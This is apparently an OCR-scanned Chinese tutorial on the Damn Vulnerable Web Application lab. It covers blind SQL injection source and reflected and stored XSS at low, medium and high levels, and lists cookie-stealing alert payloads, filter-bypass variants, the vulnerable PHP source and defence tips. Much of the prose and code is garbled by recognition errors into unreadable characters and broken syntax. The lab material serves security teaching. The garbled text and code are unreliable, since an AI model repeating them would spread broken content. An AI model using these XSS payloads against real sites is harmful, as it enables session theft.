$eetid = "SELECT first_name, last_name FROM users WHERE user_id = ’§id LINIT 1." o mmum—— 2Efﬁf‘i:ﬁcookieqjéﬂ}}%@hq|i§"@ fﬁﬂﬂ“miﬂﬁ

$result = mysql_query( $getid )

FIEASRIE
frun = Gmysql_wumrows( fresult )
SEC Sm > 0 ) |
ccho predUser D exists in the database. {/pred’ JIPHIE R , FIRIEERSERHEREERER
1
elze |

if ( rand( 0, § ) ==

3001
Sleep( rand( 2, 4 ) ) C— )
} ’ 4 E R R TIDEREEA R

header ( $_SERVER[ °SERVER PROTOCOL’ ] . ° 404 Not Found® ):
echo ' <pre’User ID iz MISSING from the database. </pre’”:

i

mysql_close();
H

LR

BT EZEPE M cookie HIRAZHE BIFRH & HILR sQu EAH, BUAMFAE 71T H
RAEN BT B W25 AT IR R Gy P ARYE & 45 R B ) s ai 2R, IeAbTE
AR A A5 R BCE AR DR AT R A saL ik, @R ETET

4) BREWK

1) AR TT A B AR R AR B (FE saL s FH? S A s D

2)  SFEAE AR AT R BRI S Curl, post data, cookie 25 7 ] DAY il %)
3) AR RO EE AT X

4) 4 web IS AR E SANEE ZERRAE FH P ORUR I
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8. &% XSS
1) JRTFRBER

SR XSS R Fi I PR PP ELRER Bt 4 SR A2 (K A S AR (R s [ A& g%, [ html 3
N5 BSOOT AR N S0 A AT 48 T o 2 42 1 ) G 2

2) WATR

A By

firefox W
3) M7
A. LOW £ 5|

a) W HE DVWA %4258 Low
b) A I AR HEAT XSS Brih

FE Y 2 ¥ payload:

® <script>alert(/xss/)</script>

® <script>alert(document.cookie)</script>

® <img src="" onerror="alert(/xss/)"/>

® <iframe src="" onload="alert(document.cookie)"></iframe>

- ol
LT r—— . |~

<« C @ @ localhost/DVWA-1.9/vulnerabilities/xss_r/ BE e php Ty In O & ® @ =
BxueEss @ wrte Demnn B s [ BahEsE

Home Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions
Setup / Reset DB What's your name? <script>alert{document cookie)</script>

LN W,
Brute Force i ~ ~
Command Injection More Information 141\ payload 2. mfsubmitiZRIRAZ IS
CSRF .
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
XS5 Reflected) |

XS5 (Stored)

DVWA Security
PHP Info
About

Logout

E
0 .
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: - e = ————.. |\
= Vulnerability: Reflected Cros X S— - fel

<—% X @ @ localhost/DVWA-1.9/vulnerabilities/xss_r/2name= <script>alert(document.cookie)<%2Fscript B e 1y InND & @ & & =
Braemas € wrre O=par RDrses DsaEns

security=low; PHPSESSID=6hfg977uuvd1kdrvdbrmq2cem3

%calhns{
d) AREG5HT

<7php

Ff Iz there any input?

if( array_key_exists( “name”, $_GET ) && $_GET[ ’'name’ ] 1= NULL ) |
// Feedback for end user
echo “<preHells ' . §$_GET[ ‘mname’ ] . ’<fprex’:

}

2

LR
N R BE B P A B dn tH 2 html DU, AR A8 B0 B (] sk J A A AN FE SCERAE,
T B IR B LA xss payload #H4T Kt

B. MEDIUM £ 5|

a) WE DVWA %42 Medium
b) &M AR AT XSS Tk

TEN T 25 ¥\ payload:
<sc<script>ript>alert(/xss/)</script>
<sCrlpt>alert(document.cookie)</scRipT>

nn

<img src="" onerror="alert(/xss/)"/>

nn

<iframe src="" onload="alert(document.cookie)"></iframe>
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T8l Vrerabi: Reflected Gro- X e

(— [CEENY ® localhost/DVWA-1.9/vulnerabilities/xss_r/ B2 e e TY Ineoh e @ =

Eyamsrus @ sErs samn [ mrms [OmEaEss

i Vulnerability: Reflected Cross Site Scripting (XSS)

Setup / Reset DB What's your name? <sCript>alert{document cookie)<(scRipT> \
Brute Force \ 2. REsubmitiZEHIRRR KA

Command Injection More Information

CSRF sp.oralindex.phplCross site_lgaiM g5 payload
File Inclusion sp.org/index.php/XSS_Filter Evasion_Cheat Sheet

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
XSS (Stored)

DVWA Security
PHP Info

About

m

Logout

e) JrHras
" wnensireecr x| R W e e T

(— X @ @ localhost/DVWA-1.9/vulnerabilities/xss_r/?name=/%008 <sCript>alert(document.cookie) %2 B2 h+d mnNeoha e s @ =
BxuEsas @ wrte Supnn Bssems OsaEss

security=medium; PHPSESSID=6hfgd77uuv41kdrvdbrmg2cem

Efllocalhost

o AR
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a)
b)

@ Damn Vulnerable Web Application (DVWA) v1.9Source : Damn Vulnerable Web Application (DVWA) v1.9 - Mozilla Firefox v-.'— = [t
® localhost/DVWA-1.9/vulnerabilities/view_source.php?id=xss_r&security=medium B e oo g7 =

XSS (Reflected) Source

<7php

£/ Iz there any input?

if ( array ey exists( ‘nans”, $_GET ) &8 $GET[ ‘name’ ] I= NILL ) |
/¢ Get input
$name = str_replace{ ’<soripty’, 7, $.GET[ ‘name’ ] );\

/¢ Feedback for end user
echo “<predHello §{name}</pre>”

) ERIRIREIE I < script>F5E |, rILUERiframe,imgFiREstscripth/ g
” bR TERS

Compare Al Levels

E

LR

IR 7 B P A H H <script> 445 8 3E 71 98 5 $ 2 bt DU, (H AT RLdE T
script K/NSAH G IARES . AL <scr<script>ipt>. iframe. img ZEbpasii 4T 480,
T e B3 A F e 1]

HIGH 2% %)

B E DVWA %4234 High
A5 FH 0 Y 2t AT XSS Kty
TE YE 28 ¥\ payload:

® <img src="" onerror="alert(/xss/)"/>

® <iframe src="" onload="alert(document.cookie)"></iframe>

<« ¢ @ localhost/DVWA-1.9/vulnerabilities/xss_r/ BE e ety INn @O 8 @ ®
Eraresus © st DammEr Bk O saiEsE

N |~
D\#A)
Home Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions
Setup / Reset DB What's your name? <img src="onerror="alert(/xss/|"> [ Submit | €

Brute Force i N
o More Information 1.5 A\ payload
CSRF -
XS5 Roftected) |

XSS (Stored) -
DVWA Security
PHP Info m

About
Logout

2. AdsubmitiEe it
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d)

4)

a)
b)
c)

9.

1)

N =npa
- Vulnerability: Reflected Croc X —

<—e X @ @ localhost/DVWA-1.9/vulnerabilities/xss_r/2name= <img+src%3D ™" +onerror%3D" alert(%2Fxs B e Yy InND & @ &« & =

yamEsEs @ HErr D= B ssres [ mEatEsE

E% localhost

(NEFNN

<“php

/¢ Is there any input?
if { array_key_exists({ “name”, $_GET )} #&& $_GET[ ‘name’ ] 1= NOLL ) |
4/ Get input

$name = preg_replace( “/<Caislalelsdr(elilox)plait/i’, °7, $_GET[ “name’ ] )‘\
#/ Feedback for end user

echo “<pre’Hello §{name}</pre>";

} X < scripthresitiT 7isk
» RIfEREEscriptiftiTaeid

i
L FR 7 B 4 A HAE i <script A7 B 24T I S8 S 2 html D000, HA] LSS
iframe. img EARAEH TS, NI RCEhA] IR IR

BREEWN

25 js 152 cookie(i% & cookie A httponly)
ETUR S BARE R M<y >0 & ' " SEFRFIT html SEREE L
HHAE I < >0 & L "IHTORAA A

R XSS
IRTFBER

A7t XSS S Fia I FAR Fr ELRER BUh 3 3R A2 M R A B A7 2R 6, 78 s 20dis DT Y
7 TP e B T A 0 52 2 TR el 9\ 32 B3O T R AT 588 S s AN T 5k 4% 1) )
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2) MRATHR

firefox ) i 28

3) MRATT¥E

A. LOW Z& 51

a)
b)

e)

W HE DVWA %42 5]y LOW

A8 FH 0 U3 2R AT XSS B

TEN Y25 Hh N payload:

® <script>alert(/xss/)</script>

® <script>alert(document.cookie)</script>
® <img src="" onerror="alert(/xss/)"/>

® <iframe src="" onload="alert(document.cookie)"></iframe>

B Vulnerabilit: Stored Cross © X e | ||

<« c¢ @ @ localhost/DVWA-L.9/vulnerabilities/xss_s/ BE e e n o h ® @ =
BxuEmas @ wErs D=ane Brses OaEBs

|

i Vulnerability: Stored Cross Site Scripting (XSS)
nstructions
L:]::Rmma Mame * <script=alert(/xss/)</script> \

<scriptealert(ixSs/)</SCTIPt> <G N
BruteForce | Message * 2.5 \payload

Command Injection
CSRF Sign Gues(bock | gammm

Erle 3 ARIE IR T LM
File Upload

@ DE=s O=ss DEs (aiess Cex OGRF -RE SF@  + TeEks 8] - X
+ 2 HTML Va + % [ wR HEE Em 9
<fOMM method="post" name="gUESEFOMM® OnsUBAIt="return validate_fOrm(tnis)® et FY i e A
ctable width"sse" cellspacing="1" cellpsddings"2" border="8" v

BHE— I ( Flex ) EEAEME LI,
ctd width="188"Name *c/td>

L \ | EE —xCm
<to> .
. TE LS
<input name="txthame” type-"text” size-"30" (FTaLUFyil o H TE FiRE R CSS S
</td> o e P
<t £ il =

<tbody>
trs

<t oftr> Y
<trs = o/ tr H — o a. 1 e
<stboty> LiginputirimaxlengthBiHE norgin
</table> 2
</form . g g
html > body home > divecontainer » divémain_body > divbody_padded » divvulnerable_code_area > form » table » thody » tr > td > input ?‘Y%"bm‘df

GANIEES
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c)

a)
b)

b 3

- Vulnerability: Stored Cross < X

neonawes@ =

(€)= X @ ® localhosl/DVWA-1.9/vulnerabilities/xss_s/ BB e e vy
DBmEEE

Hraresus © wrre O=san D asms

8L localhost

(NEFNN

<?php

if( dsset( F_POST[ “btnSign” 1 1 3 |
/f Get  dinput

fmessage = trim( P_FOST[ “mtzMessage’ ] ).
frname = trim{ F_POST[ “txtName’ ]| i
// Sanitize nmessage input

k2 = =t lashez{ i ) HEE ok R TR = A .
Snossege - nyseloreal escapestring( nessage 1. txiRszaiEaaNamefimtxMessageiftiy f sqlfsiFiife L
JEATIERIEORRE | REt ThtmiiEd
/7 Sanitize name input

fname = mysgl real escape_string{ $name )

/f Update database
Fauery = "INSERT INTO guestbock ( comment, name ) VALUES ( ~fmessage’, = Fm
fresult = mysql_query( #$query ) or die( “<pred’ . mysql_error() . <fprer’ 1

fimyzal_clozel);
H

B
AR EL B RS SURIET QL BPPR R T4 SUR A R BIBCRIE, R4 Rom Ml
RSB SUBRTE, T EL B0 B MUR 618 xss payload HEAT it

MEDIUM % 5|

WE DVWA %4258 Medium

A8 FH 0 08 28 2E 4T XSS H ity

TER Y25 ¥\ payload:

<sc<script>ript>alert(/xss/)</script>
<sCrlpt>alert(document.cookie)</scRipT>

<img src="" onerror="alert(/xss/)"/>

<iframe src="" onload="alert(document.cookie)"></iframe>
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[®] vulnerability: Stored Cross ¢ X &

@ localhost/DVWA-1.9/vulnerabilities/xss_s/ BE e e Y IND & @ & @
Eyaeres @ Fxre Dsmmn [ s s

OsaEses
i Vulnerability: Stored Cross Site Scripting (XSS)
Instructions —
= o5 Name * <sc<srporipi-aler(xssl|<lsc<serp> 47 3 £a ) havinad
<sc<scriptript-alert(/xss/)</sc<script>ript#
Brute Force Message *
Command Injection
CSRF Sign Guestbook | g . -
: - 3 R HIE T A AR
File Inclusion
@ O=Es O=is DB (snese Ceg OnF = M8 S&F v ossks g] - %
+ #F HTML & + % O w8 HEE =Hx @E P
+ cform method="post" name="guestforn® onsubmit="return validate_form(this)" [svert by ;iﬁ AR - s
< ctable width="sse® cellspacing="1" cellpsdding="2" border="e" ) . )
e P EE— 7B ( Flex ) SEATIEILIE,
== divemain body ||| g
<td width="18@">Name *c/td> main.css:131
e divamain_bod W LA OS5 S
<Input name="txtname” type-"text” size="3e" maxlength-"leeoe vyt -
<o - resize: 2
il LiEinputirE fImaxlengthBHHE
» ctra ¢/t argin o
b Ctre o/ try HEE
<tbodys div¥container
</table> mwain.css:1e9
</farm> divwcontaine &
</div> = L
html > body home » divécontainer » divémain_body > divbody_padded » divvulnerable_code_area > form » table » thody » tr > td > input fentsizes | i

o) riras
« Vulnerability: Stored Cross ¢ X o o

:e X @ @ localhost/DVWA-1.9/vulnerabilities/xss_s/ 82 e e fY InND & @ &« & =
@ wxre O=man B s

O saEses

E% localhost

d) AR

<7php

if{ dsset{ $_POST[ ’btnSign” 1 » ) |
/7 Get input
$message = trim{ §_POSTL “mtxMessage” ] J:
Frnane = trim{ §_POST[ “txtHName’ 1 ):

/f Sanitize message input
Smessage = strip_tags( addslashes{ fmessage ) )7 . e N o
Smessage = mysl real_sssape.string( fmessags ) ? SHRAFHIEmMtxMessagelfo T T\ |, BEIRS | sk
fmessage = htmlspecialcharz( $meszage ) g h = . A
, htmISCEREE N, | PILATAB xss Tt

/f Sanitize name input
$nane str_replace( ~<script’, 7, fname ) e

Snane = nysql_real escape string( frane ): 4@ JHAZSHORGGName T 7 <script> RS TElHlsq RS RS |, PImd
// Update database FEGH T AT
VALUES

Squery = C“INSERT INTO gusstbook { comment, name ) { " Smessage’, fname’ ):":
Sresult = mysal_query( $query ) or die( ‘<{pre¥ . mysqlerror() . C<ipred’ .

Jimysql_close ()
i

LR
LR 7 K 222 5t txtName HEAT <script>hr2E I SEAN sQU Rk A REAT 74 SR 174
BURAR I, 5 8 s KOs R A Eotfe (e SR AR, RTE$E txtName 5 Bl HIER 22 Kot 0
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r xss payload AT Xiti (script K/NE AR f5 IFR S . IR AR L) <scr<script>ipt>. iframe
img PR AT G X txtName [ )

D. HIGH Z 3|

a) W E DVWA %42 N High
b) i FH I #s 4T XSS Bk
TED 2% H 4 N payload:

"" onerror="alert(/xss/)"/>

nn

® <imgsrc=

® <iframe src="" onload="alert(document.cookie)"></iframe>

[B] Vulnerability: Stored Cross = X |

(€)»> e o ® localhost/DVWA-1.9/vulnerabilities/xss_s/ SR+ o h® 5@ =
BaErsss @ wrke SemEs B e OBaEeE

i Vulnerability: Stored Cross Site Scripting (XSS) i
Instructions
Setup / Reset DB

Name * 2ad="aler(document.cookie) ></iframe>

<iframe src="" onload="alert(document cookie]"> </iframe> \
Brute Force Message * 2551\ payload

Command Injection
CSRF Sign Guestbook \

File Inclusion
File Upload
Name: test
Insecure CAPTCHA Message: This is a test comment
SQL Injection
SO Iniaction (Blind) | More Information 2
w D=z Opils DEtE OsgEsE Cux OAF A8 BSEE Dok gl = %
-+ T HTML & + % O ®E HEE =% aE
v cdiv class="vulnerable_code_area™ A ER L AR 4 mpes
w «form method="post™ name="guestform™ onsubmit="return validate_form(this)™> (event 3 .
« ctsble widtho"sse® cellspacing="1" cellpadding="2" border="o" . T ( Flex ) EAETRELIBE,
~ ctbody> divémain body | | . i
et — - maln.cssi13l §
<td width="18e">Name *</td> Givemmin bod T AT CSS RS
v <hd> -
H — —r ¥
Cinput nsmes"brttone” ypes"text” sizer3et maxlengtnetiozesll™,  LIERlinputhEKtextareatnisiimaxiength | - 2um
</t 1305
</trs b
et wme margin o
<td width="10"nessage *</td> e
v <t B
<textarea name="mtxMessage” cols="58" rows="3" maxlength="10eed¢ textarea> P
</td> -ro
html > body.home > divécontainer > div#main_body > divbody_padded > divvulnerable_code_area » form » table » thody > tr > td > input fombsizer |

o) irEiR
« Vulnerability: Stored Cross © X =Hras

(> x @ © localhost/DVWA-1.9/vulnerabilitiesxss s/ #E -0 mEDO9 0|8
eSS @ wELs B RER [0 D

|
|

security=high; PHPSESSID=6h{g977uuv41kdrvdbrmg2cem3

ﬂocalhns{

d)  AREG5Hr
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4)

a)
b)

<7php
if( isset{ $_POST[ ’binSign’ 1 ) 1 |
fmeszage = trim{ §_POST[ “mtzMesszage’ 1 )
fname = trim({ $_POST[ “txtName® 1 J:

fressage = strip_tags( addslashes( fmessage | T e N o .\ .
Snessage = mysal_real_sscape_string( $messV XImtxMessageFEOHT M\ , ZhRins: | sqlEFFREEN , htmisD

Jmessage htmlspecialchars( §$meszage ): {mgg%

frame = preg_replace( T/l #dzlalclwdirla)ilisdplisle/i", 77, fname )‘#-— L s— . . AT AT

fname = mysql_resl escape_string( Sneme ). 4 XtxtNameift{T 7 X <scriptF i S flsq ik =774
S, EILAiBidimg | iframeinSH TIEATIE

fquery = "INSERT INTO gusstbook ( commert, name ) VALUES ( °fmessags’, fnams’ )i

fresult = mysql_query( $query ) or die( “<pre’’ . mysql_error() . "<fprer’

k4

T e :

R R RS HAE txtName R AT <script T4 BRI JERT SQL Reik 7 AFkAT 3% LR A

BB, 5 S B R BRI A EH i AR, v BLEE txtName 7B R A E0 8
& xss payload #H4TH i GEIL iframe. img ZEbRZiE T 480 %] txtName [ 7€)

BEEW

25 H js 132 cookie(1 E cookie A httponly)
TEDLT Ay BRI X<y >0 & ' " SEEFAFHEAT html SR L
SHAANEIE <. >, & 'V "HHATTRAE
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